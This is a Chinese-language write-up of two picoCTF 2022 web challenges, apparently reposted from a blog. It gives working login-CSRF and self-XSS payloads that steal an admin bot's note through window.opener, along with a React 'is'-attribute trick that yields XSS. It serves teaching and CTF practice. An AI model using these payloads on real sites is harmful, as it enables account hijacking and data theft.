這次有兩題 Web 比較難,解掉了一題,另一題解不開但解法超值得一看,照樣簡單寫個心得。
Noted
連結在這:https://play.picoctf.org/practice/challenge/282
簡單來說狀況是這樣的,這是一個常見的可以新增 note 的系統,在 /notes 頁面可以看到自己所有的 note,然後有個 self XSS,然後現在有個處於登入狀態下的 admin 會造訪你提供的 URL,要想辦法拿到 admin 的筆記內容。
程式碼:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115
| fastify.after(() => { fastify.get('/', (req, res) => { if (req.user) return res.redirect('/notes'); return res.view('login'); });
fastify.post('/login', { schema: userSchema }, async (req, res) => { let { username, password } = req.body; username = username.toLowerCase();
let user = await User.findOne({ where: { username }}); if (user === null) { return res.status(400).send('User not found'); }
if (!(await argon2.verify(user.password, password))) { return res.status(400).send('Wrong password!'); }
req.session.set('user', user.username);
return res.redirect('/notes'); });
fastify.get('/register', (req, res) => { return res.view('register'); });
fastify.post('/register', { schema: userSchema }, async (req, res) => { let { username, password } = req.body; username = username.toLowerCase();
let user = await User.findOne({ where: { username }}); if (user) { return res.status(400).send('User already exists!'); }
await User.create({ username, password: await argon2.hash(password) });
req.session.set('user', username);
return res.redirect('/notes'); });
fastify.get('/notes', auth(async (req, res) => { return res.view('notes', { notes: req.user.notes, csrf: await res.generateCsrf() }); }));
fastify.get('/new', auth(async (req, res) => { return res.view('new', { csrf: await res.generateCsrf() }); }));
fastify.post('/new', { schema: noteSchema, preHandler: fastify.csrfProtection }, auth(async (req, res) => { let { title, content } = req.body;
await Note.create({ title, content, userId: req.user.id });
return res.redirect('/notes'); }));
fastify.post('/delete', { schema: deleteSchema, preHandler: fastify.csrfProtection }, auth(async (req, res) => { let { id } = req.body;
let deleted = false;
for (let note of req.user.notes) { if (note.id === id) { await note.destroy();
deleted = true; } }
if (deleted) { return res.redirect('/notes'); } else { res.status(400).send('Note not found!'); } }));
fastify.get('/report', auth(async (req, res) => { return res.view('report', { csrf: await res.generateCsrf() }); }));
fastify.post('/report', { schema: reportSchema, preHandler: fastify.csrfProtection }, auth((req, res) => { let { url } = req.body;
if (report.open) { return res.send('Only one browser can be open at a time!'); } else { report.run(url); }
return res.send('URL has been reported.'); })); })
|
bot 的程式碼:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| const crypto = require('crypto'); const puppeteer = require('puppeteer');
async function run(url) { let browser;
try { module.exports.open = true; browser = await puppeteer.launch({ headless: true, pipe: true, args: ['--incognito', '--no-sandbox', '--disable-setuid-sandbox'], slowMo: 10 });
let page = (await browser.pages())[0]
await page.goto('http://0.0.0.0:8080/register'); await page.type('[name="username"]', crypto.randomBytes(8).toString('hex')); await page.type('[name="password"]', crypto.randomBytes(8).toString('hex'));
await Promise.all([ page.click('[type="submit"]'), page.waitForNavigation({ waituntil: 'domcontentloaded' }) ]);
await page.goto('http://0.0.0.0:8080/new'); await page.type('[name="title"]', 'flag'); await page.type('[name="content"]', process.env.FLAG ?? 'ctf{flag}');
await Promise.all([ page.click('[type="submit"]'), page.waitForNavigation({ waituntil: 'domcontentloaded' }) ]);
await page.goto('about:blank') await page.goto(url); await page.waitForTimeout(7500);
await browser.close(); } catch(e) { console.error(e); try { await browser.close() } catch(e) {} }
module.exports.open = false; }
module.exports = { open: false, run }
|
題目敘述有說這題的 admin bot 沒有對外連線的功能,所以增加了一些額外的難度(不過其實有開就是了,看 discord 好像開賽前加回去了)。
不過這點先不討論,先來討論其他的。
這題有 csrf token 來防止 csrf,但登入的部分沒有,所以可以用 csrf 來登入,就可以順利在 admin 上執行 XSS。
如果 same site cookie 沒設定的話,其實就 iframe 一下很容易,像這樣:
1 2 3 4 5 6 7 8 9 10
| <iframe name=f onload=run() src="http://0.0.0.0:8080/notes"></iframe> <form id=form action="/login" target="_blank"> <input name="username" value="user01"> <input name="password" value="password"> </form> <script> function run() { form.submit(); } </script>
|
先在頁面上面開好 iframe,裡面就會有 admin 的筆記,然後用 form csrf 一下,新開一個視窗出來。
接著只要在自己的帳號裡面弄出 XSS,用 window.opener.frames['f'].document.body
就可以拿到頁面的內容了, 雖然新開啟的頁面跟 window.opener 不同源,但因為跟 window.opener.frames['f']
同源所以沒差,一樣可以存取到。
不過這題的最大問題是 Chrome 預設的 default Lax,所以 iframe 不會帶 cookie,就沒辦法用了。
一個很直觀的解法是改用 window.open
來做,像這樣:
1 2 3 4 5 6 7 8
| <form id=form action="/login" target="_blank"> <input name="username" value="user01"> <input name="password" value="password"> </form> <script> win = window.open('http://0.0.0.0:8080/notes') form.submit() </script>
|
但最大的問題是,在新開的視窗中沒辦法用 window.opener.win
來存取到開啟的 window,因為跟 window.opener
不同源,所以不讓你存取上面的東西。
如果兩個新開的 window 彼此間不能溝通,這該怎麼辦呢?
想了一陣子之後,突然靈機一動:「那就直接把 window.opener
變成要拿的頁面不就好了?」
像這樣:
1 2 3 4 5 6 7 8
| <form id=form action="/login" target="_blank"> <input name="username" value="user01"> <input name="password" value="password"> </form> <script> form.submit() location = 'http://0.0.0.0:8080/notes' </script>
|
有種 race condition 的感覺,表單送出之後立刻跳轉頁面,這時候因為新的登入還沒完成,所以跳過去時還是 admin 的 session,因此在新的視窗登入完成後就可以直接拿 window.opener.document
的東西。
如果有連網的話,就樣就完成了。在沒有對外連線的情況下,可以發現 admin bot 沒有檢查網址,所以可以傳 javascript:
或是 data:
之類的東西給它,回傳 flag 的部分可以直接用新增筆記的方式。
讓 admin bot 訪問底下這段,其實就只是用 data:text/html
載入 html 而已:
1
| data:text/html,<form id=f method=POST action=http://0.0.0.0:8080/login target=new_window><input name=username value=user01><input name=password value=password></form><script>f.submit();location='http://0.0.0.0:8080/notes'</script>
|
XSS payload,這邊直接新開一個 window 去做就好,也可以用 iframe 來做
1 2 3 4 5 6 7 8 9 10
| <script> setTimeout(() => { var flag = window.opener.document.body.innerText var win = window.open('/new'); setTimeout(() => { win.document.querySelector('textarea[name=content]').value = flag; win.document.querySelector('form').submit() }, 2000) }, 2000) </script>
|
另一種解法
運用我前幾天在 iframe 與 window.open 黑魔法學到的招數,也就是「當開啟同名 window 時會拿到 reference,不會新開 window」,這樣兩個新開的 window 就可以互相溝通了。
1 2 3 4 5 6 7 8
| <form id=form action="/login" target="_blank"> <input name="username" value="user01"> <input name="password" value="password"> </form> <script> window.open('http://0.0.0.0:8080/notes', 'flag') form.submit() </script>
|
XSS 的部份這樣寫:
1 2 3 4 5 6 7 8 9 10 11
| <script> var flagWin = window.open('xxx:abdef', 'flag') setTimeout(() => { var flag = flagWin.document.body.innerText var win = window.open('/new'); setTimeout(() => { win.document.querySelector('textarea[name=content]').value = flag; win.document.querySelector('form').submit() }, 2000) }, 2000) </script>
|
這篇也用了類似的解法:https://github.com/Scoder12/ctf/blob/main/PicoCTF%202022/web_noted.md
Live Art
連結:https://play.picoctf.org/practice/challenge/277?page=1&search=live
這題我還沒有自己重現過,解法都是從這篇 picoCTF 2022 WriteUps 看來的,簡單記一下,主要的漏洞有兩個。
- component 切換不當造成的 props 混淆
- 利用
is
屬性攻擊 React
第二點特別有趣,所以這邊特別講一下第二點。
請問底下的 React app 有什麼問題?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| export default function App() { const params = new URLSearchParams(location.search); let obj = {};
params.forEach(function (value, key) { obj[key] = value; });
return ( <div className="App"> <h1>Demo</h1> <img {...obj} /> </div> ); }
|
這邊就只是把網址列上的 query string 變成 object 後丟進 img 去,URLSearchParams
預設的用法沒支援 array 跟 object,所以想產生 dangerouslySetInnerHTML: { __html: '..'}
是不可能的。
換句話說,今天如果可以控制 React render 中元素的 props,但是 value 只能是字串,可以做些什麼?
當 React 在設置屬性時,如果你寫 <img onError="alert(1)">
,會跳出錯誤訊息:
1
| Expected `onError` listener to be a function, instead got a value of `string` type.
|
改成小寫的版本,則是會跳 warning:
Warning: Invalid event handler property onerror
. Did you mean onError
?
相關的檢查都在這邊:https://github.com/facebook/react/blob/v18.0.0/packages/react-dom/src/shared/ReactDOMUnknownPropertyHook.js#L275
1 2 3 4 5 6
| export function validateProperties(type, props, eventRegistry) { if (isCustomComponent(type, props)) { return; } warnUnknownProperties(type, props, eventRegistry); }
|
而這邊可以注意到有個 isCustomComponent
的判斷,程式碼在這:https://github.com/facebook/react/blob/v18.0.0/packages/react-dom/src/shared/isCustomComponent.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| function isCustomComponent(tagName: string, props: Object) { if (tagName.indexOf('-') === -1) { return typeof props.is === 'string'; } switch (tagName) { case 'annotation-xml': case 'color-profile': case 'font-face': case 'font-face-src': case 'font-face-uri': case 'font-face-format': case 'font-face-name': case 'missing-glyph': return false; default: return true; } }
|
只要 props 內的 is 是字串的話,就會是 true。
而 React 在設置屬性時也會有一些檢查:https://github.com/facebook/react/blob/v18.0.0/packages/react-dom/src/client/DOMPropertyOperations.js#L151
簡單來說,如果是 custom element(props.is 是個字串)的話,很多屬性都會直接設定上去。
所以,如果有底下的程式碼:
1 2 3 4 5
| function App() { return ( <img src="x" onerror="alert(1)" is="abc" /> ) }
|
就可以觸發 XSS!因為 is 的緣故,讓 React 直接設置了 onerror
的屬性。
我好興奮啊!寫 React 這麼久第一次知道這個特性,在攻擊 React app 上又多了一個攻擊面。
文章来源: https://blog.huli.tw/2022/04/10/picoctf-2022-writeup/
如有侵权请联系:admin#unsafe.sh